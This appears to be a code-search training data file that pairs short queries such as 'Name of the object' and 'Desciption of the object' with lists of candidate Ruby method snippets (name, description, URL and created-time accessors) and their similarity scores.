"def attributes\n data = super\n photo_path = File.join(api_user_dir(data[:username]), USER_PHOTO_FILENAME)\n username = (File.exists? photo_path)? data[:username]: 'default'\n photo_url = \"#{user_url(options[:host], username)}/#{USER_PHOTO_FILENAME}\"\n data.to_a.insert(6, [:photo_url, photo_url]).to_h\n end",
"def current_user\n session[:name] #all i need here (looked at some other solutions to get this)\n end",
"def filename\n \"#{@user.screen_name}.png\"\n end",
"def username\n\t\treturn @un\n\tend",
"def username\n @digest_parts['username']\n end",
"def username # best practice to reference the same name\n @username\n end",
"def access_file_name\n @hash[\"AccessFileName\"]\n end"
] |
[
"0.70834726",
"0.7069",
"0.64142984",
"0.64035803",
"0.6263915",
"0.6227187",
"0.6179323",
"0.61696976",
"0.6162234",
"0.61425",
"0.6140512",
"0.610057",
"0.6081751",
"0.60651326",
"0.60464936",
"0.6022486",
"0.59876144",
"0.5950826",
"0.59398514",
"0.59292054",
"0.592261",
"0.5915702",
"0.59030074",
"0.5894454",
"0.5885586",
"0.58627105",
"0.585846",
"0.58570015",
"0.58563894",
"0.58563894",
"0.5845267",
"0.5843676",
"0.5834296",
"0.583087",
"0.58206874",
"0.5817796",
"0.58101696",
"0.5801165",
"0.58000267",
"0.5797417",
"0.57951635",
"0.5789285",
"0.5779804",
"0.5770829",
"0.576963",
"0.57628286",
"0.57570976",
"0.57449067",
"0.5735268",
"0.5724574",
"0.5721359",
"0.5721182",
"0.5711407",
"0.5710813",
"0.5704138",
"0.5702778",
"0.5700919",
"0.5684709",
"0.56754893",
"0.5672601",
"0.56725717",
"0.56705666",
"0.5656226",
"0.5656226",
"0.5656226",
"0.5656226",
"0.5651726",
"0.56485564",
"0.56372875",
"0.56268024",
"0.5623429",
"0.56197965",
"0.56197965",
"0.5617771",
"0.5615958",
"0.560983",
"0.56080747",
"0.5602691",
"0.5602691",
"0.5595906",
"0.5594249",
"0.5592202",
"0.55885893",
"0.5588187",
"0.5588187",
"0.55803293",
"0.5577678",
"0.5576509",
"0.55749696",
"0.557396",
"0.55726296",
"0.55726296",
"0.5567351",
"0.5565939",
"0.5560052",
"0.5557784",
"0.5551667",
"0.5550935",
"0.5549299",
"0.554825",
"0.55299926"
] |
0.0
|
-1
|
Name of the object
|
def name
object["name"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def name\n @object.to_s\n end",
"def getName()\n return @obj_name\n end",
"def object_name; end",
"def object_name; end",
"def object_name; end",
"def name\n object.name\n end",
"def object_name\n @object.name.split('::').last.downcase + 's'\n end",
"def name\n @name || object_id.to_s\n end",
"def name\n @_name\n end",
"def object_name=(_arg0); end",
"def __name\n @name\n end",
"def name\n end",
"def name\n self[ :name ]\n end",
"def name\n self.class.simple_name\n end",
"def name\n raise \"No name defined for #{self.class}\"\n end",
"def name\n NAME\n end",
"def name_for(_name, _id=nil)\n n = \"#{@object_name}[#{_name}]\"\n n += \"[#{_id}]\" if _id\n end",
"def name\n end",
"def name\n @name ||= self.class.name\n end",
"def name() return @name end",
"def name() return @name end",
"def target_object_name\n return @target_object_name\n end",
"def name\n @name\n end",
"def name\n self[:Name]\n end",
"def name\n @name\n end",
"def name\n @name\n end",
"def objects_name\n full_object_name.pluralize.to_sym\n end",
"def name\n @name\n end",
"def name\n @name\n end",
"def name\n @name\n end",
"def name\n @name\n end",
"def name\n @name\n end",
"def name\n @name\n end",
"def name\n @name\n end",
"def name\n @name\n end",
"def name\n self[:name]\n end",
"def name\n @name ||= self.class.non_namespaced_name\n end",
"def get_name\r\n self.name\r\n end",
"def getName()\n\t\t\treturn @_name\n\t\tend",
"def name\n\t\tself.class.name\n\tend",
"def getName; @name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end",
"def name; end"
] |
[
"0.8806093",
"0.8698997",
"0.8656774",
"0.8656774",
"0.8656774",
"0.85568655",
"0.8288197",
"0.80444765",
"0.8032044",
"0.7838107",
"0.7821775",
"0.7745129",
"0.77391887",
"0.77360207",
"0.7734133",
"0.77287096",
"0.77060217",
"0.7695555",
"0.76945007",
"0.7678177",
"0.7678177",
"0.767294",
"0.766704",
"0.7654767",
"0.7643938",
"0.76318264",
"0.7626211",
"0.7616218",
"0.7616218",
"0.7616218",
"0.7616218",
"0.7616218",
"0.7616218",
"0.7616218",
"0.7616218",
"0.76016575",
"0.7589551",
"0.7585944",
"0.7555999",
"0.75537974",
"0.75428796",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933",
"0.75393933"
] |
0.8473474
|
6
|
Desciption of the object
|
def description
object["description"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description\n end",
"def description\n end",
"def desc; end",
"def desc\n Desc.new(self)\n end",
"def inspect\n \"#{self.class}<#{@description.inspect}>\"\n end",
"def description\n self.class.desc\n end",
"def desc\n self.class.desc || self.class.name\n end",
"def desc=(_); end",
"def description\n nil\n end",
"def description\n nil\n end",
"def description\n end",
"def desc\n return @desc\n end",
"def description\n self[:description]\n end",
"def describe\n @description\n end",
"def describe\n @description\n end",
"def description\n Properties[self.class] ||= {}\n return Properties[self.class][:desc] || \"\"\n end",
"def description\n nil\n end",
"def description\n \"\"\n end",
"def base_description(_); end",
"def describe(name)\n super\n end",
"def description\n raise \"not implemented\"\n end",
"def description\n @description\n end",
"def description\n @description\n end",
"def description\n @description\n end",
"def description\n @description\n end",
"def description()\n\t\tself.namespaced_class(:ModelDescriptor).goal(self)\n\tend",
"def description\n\t\t\treturn @description || self.generate_description\n\t\tend",
"def description\n \"#{super} - Tramezzino\"\n end",
"def desc\n\tend",
"def desc\n\tend",
"def description\n super || \"\"\n end",
"def description\n override_desc || self.to_s\n end",
"def description\n self[:description] || name\n end",
"def description\n @ole.Description\n end",
"def description\n @ole.Description\n end",
"def full_description\n \"#{self.class.description} #{self.description}\"\n end",
"def inspect()\n #This is a stub, used for indexing\n end",
"def description\n return @description\n end",
"def describe\n # TODO\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def description\n return @description\n end",
"def details; end",
"def main_description; end",
"def description\n zombie_check\n @metadata.description(@name)\n end",
"def description\n super + \", Soy\"\n end",
"def description\n data.description\n end",
"def description\n data.description\n end",
"def description\n data.description\n end",
"def description=(_arg0); end",
"def description=(_arg0); end",
"def description=(_arg0); end",
"def description(*args)\n #do nothing\n end",
"def desc() summary; end",
"def description\n @description || Defaults::DEFAULT_DESCRIPTION\n end",
"def describe\n\t\t\treturn {}\n\t\tend",
"def description d\n @description = d\n end",
"def description\n \"#{super} - CocaCola\"\n end",
"def description\n ''\n end",
"def description\n options[:description]\n end",
"def description\n\n return @description\n\n end",
"def desc(usage = nil, description = nil, options = {})\n if usage\n super\n else\n class_usage\n end\n end",
"def inspect\n \"#<#{self.class} @label=#{label} docs=#{docs}>\"\n end",
"def inspect() end",
"def inspect() end",
"def inspect() end"
] |
[
"0.76494783",
"0.76494783",
"0.76494783",
"0.76494783",
"0.76494783",
"0.76494783",
"0.76494783",
"0.76494783",
"0.76494783",
"0.76494783",
"0.7505113",
"0.7505113",
"0.7484476",
"0.74414086",
"0.7341819",
"0.72894454",
"0.72267747",
"0.72105485",
"0.71960086",
"0.71960086",
"0.71841305",
"0.7171555",
"0.7170993",
"0.71597654",
"0.71597654",
"0.7118209",
"0.71175826",
"0.70795757",
"0.7075528",
"0.70729214",
"0.7064998",
"0.7041343",
"0.7041343",
"0.7041343",
"0.7041343",
"0.70204777",
"0.7003667",
"0.69991124",
"0.69881636",
"0.69881636",
"0.69794",
"0.6949568",
"0.69264567",
"0.6907288",
"0.6907288",
"0.69012123",
"0.68882257",
"0.68611354",
"0.68582535",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.68471533",
"0.6841747",
"0.682946",
"0.6803836",
"0.67766416",
"0.67720634",
"0.67720634",
"0.67720634",
"0.67718613",
"0.67718613",
"0.67718613",
"0.6743436",
"0.673009",
"0.67180324",
"0.67174107",
"0.6712585",
"0.6685497",
"0.6675783",
"0.6662092",
"0.665523",
"0.6646014",
"0.6640982",
"0.6634746",
"0.6634746",
"0.6634746"
] |
0.7436203
|
14
|
A URL to view the item on SkyDrive
|
def link
object["link"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def url\n item_path(object)\n end",
"def url\n @client.get_download_link(@path)\n end",
"def api_path\n if remote?\n \"drives/#{@remote_drive_id}/items/#{@remote_id}\"\n else\n \"drive/items/#{@id}\"\n end\n end",
"def url\n item_hash.deep_find([:listing_details, :view_item_url])\n end",
"def item_url(result)\n query = CGI.parse(env.url.query.to_s)\n url = \"#{env.url.scheme}://#{env.url.host}#{env.url.path.sub(/\\.json\\z/, '')}/#{result['identifiers'][0]['identifier']}.json\"\n if query['key'].any?\n url += \"?key=#{CGI.escape(query['key'][0].to_s)}\"\n end\n url\n end",
"def item_url(result)\n query = CGI.parse(env.url.query.to_s)\n url = \"#{env.url.scheme}://#{env.url.host}/officers/#{result['identifiers'][0]['identifier']}\"\n if query['api_token'].any?\n url += \"?api_token=#{CGI.escape(query['api_token'][0].to_s)}\"\n end\n url\n end",
"def item_url(item)\n item.url\n end",
"def item_url(item)\n item.url\n end",
"def url(**options)\n storage.url(id, **options)\n end",
"def url\n storage.url_for(path_with_query)\n end",
"def url(path)\n \"#{self.api_root}/#{self.api_version}/#{self.tenancy_code}/#{path}\"\n end",
"def viewer_url_s\n dip_field(:viewer_path)\n end",
"def url\n \"#{@client.site_url}/#{id}\"\n end",
"def url\n @url\n end",
"def url\n @url\n end",
"def get url, options={}\n response = self.class.get(url, {:query => options}).parsed_response\n raise Skydrive::Error.new(response[\"error\"]) if response[\"error\"]\n response[\"data\"] ? response[\"data\"] : response\n end",
"def url(path)\n \"#{API}/#{path}\"\n end",
"def url\n @url ||= GeoIQ.base_uri + \"#{path}.json\"\n end",
"def url\n @url\n end",
"def url\n Rails.application.routes.url_helpers.nfs_store_download_path(id)\n end",
"def url\n end",
"def show url\n function = ''\n \n params = {}\n params[:url] = url\n\n request(@resource, function, params)\n end",
"def url\n Djatoka.resolver.region(filename).scale(1800).url\n end",
"def url\n uri\n end",
"def url\n uri\n end",
"def show(path)\n\t require 'pathname'\n\t\t# change to before filter\n\t\tlogin_filter\n\t\t\n\t\t# round about way of getting the secure url we need\n # path = namespace_path(path)\n\t\tpathname = Pathname.new(path)\n\t\turl = self.list(pathname.dirname.to_s).detect{ |f| f[\"name\"] == pathname.basename.to_s }[\"url\"]\n\t\t\n\t\t#https://dl-web.dropbox.com/get/testing.txt?w=0ff80d5d&sjid=125987568\n\t\t@content=@agent.get(url).content\n\tend",
"def url(user)\n digest = Document.api_access_hash(id, user)\n \"#{Client.site}/documents/#{id}?a=#{digest}&u=#{user.id}\"\n end",
"def get(path)\n path = \"/#{path}\" unless path[0] == '/'\n OneDriveItem.smart_new(self, request(\"drive/root:/#{url_path_encode(path[1..-1])}\"))\n end",
"def item_url(result)\n query = CGI.parse(env.url.query.to_s)\n \"#{env.url.scheme}://#{env.url.host}/entity/#{result['identifiers'][0]['identifier']}.xml?_key=#{CGI.escape(query['_key'][0].to_s)}\"\n end",
"def view_url(name, parameters = {})\n\t\t\tpath = (name =~ /^([^_].+?)\\/(.*)$/ ? \"_design/#{$1}/_view/#{$2}\" : name)\n\t\t\t\n\t\t\tClient.encode_url(\"#{@root}/#{path}\", parameters)\n\t\tend",
"def url\n @client.url + self.class.path + @sport.to_s\n end",
"def url(options = {})\n file.path\n end",
"def url\n easy = EasyFactory.new(self).get\n url = easy.url\n Typhoeus::Pool.release(easy)\n url\n end",
"def view(name, parameters = {})\n\t\t\tClient.get view_url(name, parameters)\n\t\tend",
"def item_detail_url(id)\n \"#{@baseurl}/agdocs.aspx?doctype=agenda&itemid=#{id}\"\n end",
"def url\n ::File.join \"/\", path.to_s\n end",
"def url; \"file:#{@root}\"; end",
"def show\n course = Course.find(params[:course_id].to_s)\n authorize! :read, course\n\n dropbox = course.lead_teacher.dropbox\n\n meta = dropbox.shares(\"/#{ course.slug }/#{ params[:id] }\", false)\n url = meta[\"url\"].split('?').first\n url += '?dl=1'\n\n redirect_to url\n end",
"def url(options = {})\n self.class.url_for(key, bucket.name, options)\n end",
"def url\n @doc.url\n end",
"def url\n @gapi[\"selfLink\"]\n end",
"def url\n @gapi[\"selfLink\"]\n end",
"def url(path)\n uri, details = @api.cmd_to_url(:file_download, path: remote_file(path))\n @api.full_uri(uri, details[:params])\n end",
"def url\n [\"http://\" + @uploader.couch_host + \":\" + @uploader.couch_port, model.database.name , model.id, @path].join(\"/\")\n end",
"def url\n\t\t\"http://beta.stoffiplayer.com/profile/#{id}\"\n\tend",
"def url\n URL(@site.url).join(attributes[\"RootFolder\"]).to_s\n # # Dirty. Used to use RootFolder, but if you get the data from the bulk calls, RootFolder is the empty\n # # string rather than what it should be. That's what you get with web services as an afterthought I guess.\n # view_url = ::File.dirname(attributes[\"DefaultViewUrl\"])\n # result = URL(@site.url).join(view_url).to_s\n # if ::File.basename(result) == \"Forms\" and dir = ::File.dirname(result) and dir.length > @site.url.length\n # result = dir\n # end\n # result\n end",
"def url\n expiration = Time.now + 60.seconds\n fog_file.url(expiration)\n end",
"def api_url(path)\n path\n end",
"def url\n File.join(server.url, path)\n end",
"def url(opts = {})\n if bucket.mode == :private\n bucket.private_get_url(@path, opts)\n else\n bucket.path_to_url(@path, opts)\n end\n end",
"def url\n uri.to_s\n end",
"def p_url\n Rails.application.routes.url_helpers.rent_url(id, host: PUBLIC_URL)\n end",
"def file_url\n resource.send(mount_point).url\n end",
"def get_viewer_link(urn,access_token)\n #absolute url = request.base_url\n url = \"/viewer1.html?token=#{access_token}&urn=#{urn}\"\n link = \"<a href=\\\"#{url}\\\" target=\\\"_blank\\\">View Model</a>\"\n return link\n end",
"def url\n URI::HTTPS.build(host: 'www.googleapis.com',\n path: '/books/v1/volumes',\n query: query)\n end",
"def api_url\n ensure_full_data!\n @gapi[\"selfLink\"]\n end",
"def spotify_url; \"http://open.spotify.com/artist/#{spotify}\" end",
"def download_link\n \"http://#{self.registered_download.brand.default_website.url}/#{self.registered_download.url}/get_it/#{self.download_code}\"\n end",
"def url\n \"#{@partnership.url}/#{@sport}\"\n end",
"def preview_url(opts={})\n url(opts)\n end",
"def url\n api_url\n end",
"def url\n end",
"def public_url\n requires :key\n self.collection.get_url(self.key)\n end",
"def url\n @url ||= s3_bucket.object(key_path).presigned_url(:get,\n expires_in: 7.days.to_i,\n response_content_disposition: ApplicationHelper.encoding_safe_content_disposition(\n ImageServiceHelper.download_name(@model.work_presenter, suffix: @suffix)\n )\n )\n end",
"def url\n @url.to_s\n end",
"def item_backup_url(id)\n \"#{@baseurl}/view.aspx?cabinet=published_meetings&fileid=#{id}\"\n end",
"def url\n self.name\n end",
"def item_url(item)\n return unless files_url && item.file\n\n realpath = item.file.realpath\n return unless realpath.to_path.start_with?(local_root_realpath)\n\n path = realpath.relative_path_from(local_root_realpath)\n fragment =\n if item.start_line && (item.start_line != item.end_line)\n item_url_multiline_fragment(item.start_line, item.end_line)\n else\n item_url_line_fragment(item.line)\n end\n\n \"#{files_url}/#{path}##{fragment}\"\n end",
"def url\n response[\"url\"]\n end",
"def show\n redirect_to Shrine.storages[:store].url(\"models/#{@model_version.id}/artifacts4/#{params[\"filepath\"]}\")\n end",
"def human_url\n return data()['project_uri']\n end",
"def url\n \"#{self.public_path}/#{self.slug}\"\n end",
"def url\n data['url']\n end",
"def get_access_url\n @request_token = @client.request_token\n token = @request_token.token\n secret = @request_token.secret\n\n \"http://www.fitbit.com/oauth/authorize?oauth_token=#{token}\"\n end",
"def url\n URL_MAPPING[@docid]\n end",
"def url\n URI.parse(endpoint).join(path.to_s).to_s\n end",
"def generate_url\n Dropio::Resource.client.generate_drop_url(self)\n end",
"def make_url\n # This works for most of the twitter calls\n \"http://ws.audioscrobbler.com/2.0/?method=#{resource_path}&artist=#{identifier}&limit=100&page=#{page}&api_key=#{api_key}&format=json\"\n end",
"def path_url\n \"http://thegamesdb.net/banners/_gameviewcache/\"\n end",
"def public_url\n \"#{URL}/movies/#{self.id}\"\n end",
"def url\n uri.to_s\n end",
"def url(id, **options)\n id = [*@storage.prefix, id].join(\"/\") if @include_prefix\n\n client.path(id).to_url(**options)\n end",
"def url\n # URL(@list.url).join(attributes[\"ServerUrl\"]).to_s\n attributes[\"ServerUrl\"]\n end",
"def url_api\n Guidebox\n end",
"def netsuite_url(object)\n `open \"#{NetSuiteRails::UrlHelper.netsuite_url(object)}\"`\n end",
"def link\n BASE_URL + (private? ? \"/private/#{@key}\" : \"/#{@id}\")\n end",
"def file_url\n end",
"def public_url(style = default_style)\n @fog.public_url(style)\n end",
"def url(**options)\n file&.url(**options)\n end",
"def url\n # HACK: Revisit and make configurable separate from the connection options.\n \"http://#{@uploader.sftp_host}/#{path}\"\n end",
"def url(path)\n path\n end",
"def share_url\n section.to_s + \".\" + runningno.to_s + \"?edition=\" + edition_year.to_s\n end",
"def slurl\n position = JSON.parse(self.position)\n href = \"https://maps.secondlife.com/secondlife/#{region}/#{position['x'].round}/\" \\\n \"#{position['y'].round}/#{position['z'].round}/\"\n text = \"#{region} (#{position['x'].round}, \" \\\n \"#{position['y'].round}, #{position['z'].round})\"\n h.link_to(text, href)\n end",
"def get_url\n \"http://#{self.domain}/#{self.path}#{self.params.it_keys_to_get_param}\"\n end",
"def uri\n params = {\n center: location,\n size: size,\n zoom: zoom,\n format: file_format,\n sensor: sensor.to_s\n }\n Addressable::URI.parse(api_endpoint).tap do |uri|\n uri.query_values = params\n end.to_s\n end",
"def my_url\n url 'my'\n end",
"def json_url\n # \"#{REDDIT_URL_PREFIX}#{permalink}#{@self_id}.json\"\n end",
"def url\n ::URI.join(\"#{service.service_url}/\", ::URI.escape(url_chunk)).to_s\n end",
"def path\n \"/{databaseId}/items/list/\"\n end",
"def drive_folder_link\n\t\t\"https://drive.google.com/#folders/#{self.folder_id}\"\n\tend",
"def path\n '/c/document_library/get_file?folderId=%i&name=%s' % [self.folderid, self.name]\n end"
] |
[
"0.67196393",
"0.66885513",
"0.6543145",
"0.6463081",
"0.64435536",
"0.6379455",
"0.6126578",
"0.6126578",
"0.6089154",
"0.60585874",
"0.6051191",
"0.60097694",
"0.5990355",
"0.5936023",
"0.5936023",
"0.59306943",
"0.59127355",
"0.5908992",
"0.590569",
"0.589995",
"0.58989954",
"0.58866304",
"0.5884121",
"0.58622134",
"0.58622134",
"0.5857456",
"0.58447325",
"0.5841153",
"0.58236355",
"0.58159935",
"0.5812231",
"0.5800939",
"0.57956",
"0.57896733",
"0.576118",
"0.57600665",
"0.5759533",
"0.5756571",
"0.57311964",
"0.5715937",
"0.5710421",
"0.5710421",
"0.57090086",
"0.5677637",
"0.56711966",
"0.56697255",
"0.56677806",
"0.5667737",
"0.56664866",
"0.56621563",
"0.5656657",
"0.5655438",
"0.5652674",
"0.56453377",
"0.56426823",
"0.56367534",
"0.5635028",
"0.5626117",
"0.5623375",
"0.56221694",
"0.5622055",
"0.56159985",
"0.5606478",
"0.55986255",
"0.5581063",
"0.5578065",
"0.5576407",
"0.5572284",
"0.5562549",
"0.5561237",
"0.55611724",
"0.5558944",
"0.55542874",
"0.55538136",
"0.5547981",
"0.554256",
"0.55364335",
"0.55280095",
"0.55256593",
"0.5525079",
"0.552053",
"0.55193096",
"0.55189294",
"0.5513237",
"0.55111825",
"0.55102795",
"0.55039257",
"0.54995567",
"0.5496833",
"0.5480471",
"0.54804647",
"0.5477913",
"0.5477883",
"0.5469957",
"0.54673004",
"0.54668695",
"0.5466577",
"0.5465779",
"0.5465647",
"0.54648954",
"0.5463533"
] |
0.0
|
-1
|
The time at which the object was created.
|
def created_time
Time.parse(object["created_time"]) if object["created_time"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def created_time\n ctime\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def created_date_time\n return @created_date_time\n end",
"def instance_create_time\n data[:instance_create_time]\n end",
"def creation_time\n data[:creation_time]\n end",
"def creation_time # :nodoc:\n @creation_time.dup\n end",
"def create_time(); @create_time; end",
"def date\n Time.at(self.created_utc)\n end",
"def date\n Time.at(self.created_utc)\n end",
"def date\n Time.at(self.created_utc)\n end",
"def getCreatedTime\r\n\t\t\t\t\treturn @createdTime\r\n\t\t\t\tend",
"def getCreatedTime\r\n\t\t\t\t\treturn @createdTime\r\n\t\t\t\tend",
"def creation_date\n stat.ctime\n end",
"def created_at\n id.generation_time\n end",
"def created_at\n ensure_full_data!\n Time.at(@gapi[\"creationTime\"] / 1000.0)\n end",
"def created_at\n @gapi[\"timeCreated\"]\n end",
"def created_at\n Time.at(created.to_i)\n end",
"def created_at\n Time.at(created.to_i)\n end",
"def created_at\n if able_to_store_created_at?\n time = instance_read(:created_at)\n time && time.to_f.to_i\n end\n end",
"def date\n Time.now\n end",
"def created_at\n Time.at(created)\n end",
"def created_at\n Time.at(created)\n end",
"def date\n @date ||= Time.new\n end",
"def created_date_time_utc\n return @created_date_time_utc\n end",
"def created_at\n\t\tobject.created_at.strftime(\"%A, %B %e\")\n\tend",
"def created\n @created ||= Time.parse(@attrs[:created]) rescue nil\n end",
"def creation_date\n @resource.creation_date\n end",
"def process_creation_date_time\n return @process_creation_date_time\n end",
"def created_at\n object.created_at.iso8601\n end",
"def time_stamp()\n return get INIT_TIME_STAMP_NAME\n end",
"def created_at\n Time.parse @gapi.creation_time\n rescue StandardError\n nil\n end",
"def system_created\n Time.parse self['system_create_dtsi']\n end",
"def asctime\n end",
"def get_date()\n @time\n end",
"def created_at\n @created_at ||= Time.now\n end",
"def created_at\n @created_at ||= Time.now\n end",
"def created_at\n @created_at ||= Time.now\n end",
"def creation_date\n self.created_at.iso8601\n end",
"def get_time\n created_at.strftime('%H:%M:%S %d %B %Y')\n end",
"def timestamp\n TimeStamp.new\n end",
"def creation_date\n data.creation_date\n end",
"def creation_date\n data[:creation_date]\n end",
"def created_at # overwriting what this method returns\n object.created_at.strftime('%B %d, %Y') # Object represents the instance\n end",
"def created_at\n begin\n Time.parse(self.create_date)\n rescue\n nil\n end\n end",
"def created_at\n Convert.millis_to_time @gapi.statistics.creation_time\n end",
"def parent_process_creation_date_time\n return @parent_process_creation_date_time\n end",
"def created_at\n @created_at ||= Time.zone.now.utc.to_i\n end",
"def getCreatedTimeLong\r\n\t\t\t\t\treturn @createdTimeLong\r\n\t\t\t\tend",
"def getCreatedTimeLong\r\n\t\t\t\t\treturn @createdTimeLong\r\n\t\t\t\tend",
"def creation_date\n return @creation_date if defined? @creation_date\n return unless metadata['dcterms:created']\n\n @creation_date = Time.parse(metadata['dcterms:created'])\n end",
"def creation_date\n return @creation_date if defined? @creation_date\n return unless metadata['Creation-Date']\n\n @creation_date = Time.parse(metadata['Creation-Date'])\n end",
"def create_time\n Convert.timestamp_to_time @grpc.create_time\n end",
"def create_time\n Convert.timestamp_to_time @grpc.create_time\n end",
"def create_timestamp\n self.created_at = Time.now\n end",
"def create_timestamp\n self.created_at = Time.now\n end",
"def current_time\n @definition.current_time\n end",
"def created; BoxesConsoleHelpers.simple_time(created_at) rescue \"nil\"; end",
"def creationtime\r\n\t\t\t`#{BITS::BITSADMIN} /getcreationtime {#{@id}}`\r\n\t\tend",
"def creationdate\n if !record.nil? and record.respond_to? :created_at\n record.created_at.httpdate\n end\n end",
"def created_at\n object.created_at.to_time.to_i\n end",
"def datetime_stamp\n Time.now.utc.iso8601\n end",
"def date\n Time.now.in_time_zone\n end",
"def created_at\n @record.created_at\n end",
"def created_at\n attributes.send(:ts_created) rescue nil\n end",
"def time\n if created_at.to_date == Date.today\n created_at.strftime('%I:%M %P')\n else\n created_at.strftime('%d-%m-%Y')\n end\n end",
"def created_at_timestamp\n Time.now.gmtime.strftime(\"%Y-%m-%dT%H:%M:%S.000Z\")\n end",
"def created_date_time=(value)\n @created_date_time = value\n end",
"def created_date_time=(value)\n @created_date_time = value\n end",
"def created_date_time=(value)\n @created_date_time = value\n end",
"def created_date_time=(value)\n @created_date_time = value\n end",
"def created_date_time=(value)\n @created_date_time = value\n end",
"def created_date_time=(value)\n @created_date_time = value\n end",
"def created_date_time=(value)\n @created_date_time = value\n end",
"def created_date_time=(value)\n @created_date_time = value\n end"
] |
[
"0.78912467",
"0.7881457",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78809214",
"0.78743917",
"0.7835744",
"0.78090817",
"0.7757927",
"0.7744628",
"0.7718941",
"0.7718941",
"0.7718941",
"0.75081354",
"0.75081354",
"0.74740356",
"0.74423426",
"0.7427124",
"0.74198717",
"0.7388244",
"0.7388244",
"0.7377699",
"0.73290473",
"0.72845256",
"0.72845256",
"0.7280219",
"0.7250621",
"0.7213927",
"0.72070277",
"0.7177311",
"0.7175626",
"0.71754164",
"0.7170249",
"0.71623164",
"0.7150457",
"0.7133861",
"0.7132566",
"0.7129501",
"0.7129501",
"0.7129501",
"0.71133333",
"0.7106013",
"0.7099192",
"0.7082681",
"0.70819926",
"0.70816654",
"0.70741844",
"0.7047463",
"0.70397425",
"0.70375955",
"0.7036475",
"0.7036475",
"0.70341593",
"0.701492",
"0.70139337",
"0.70139337",
"0.70116156",
"0.7010174",
"0.7006055",
"0.70056415",
"0.6999097",
"0.69671744",
"0.69603014",
"0.6957901",
"0.69538146",
"0.694685",
"0.6944618",
"0.69362843",
"0.69270945",
"0.6920783",
"0.6920783",
"0.6920783",
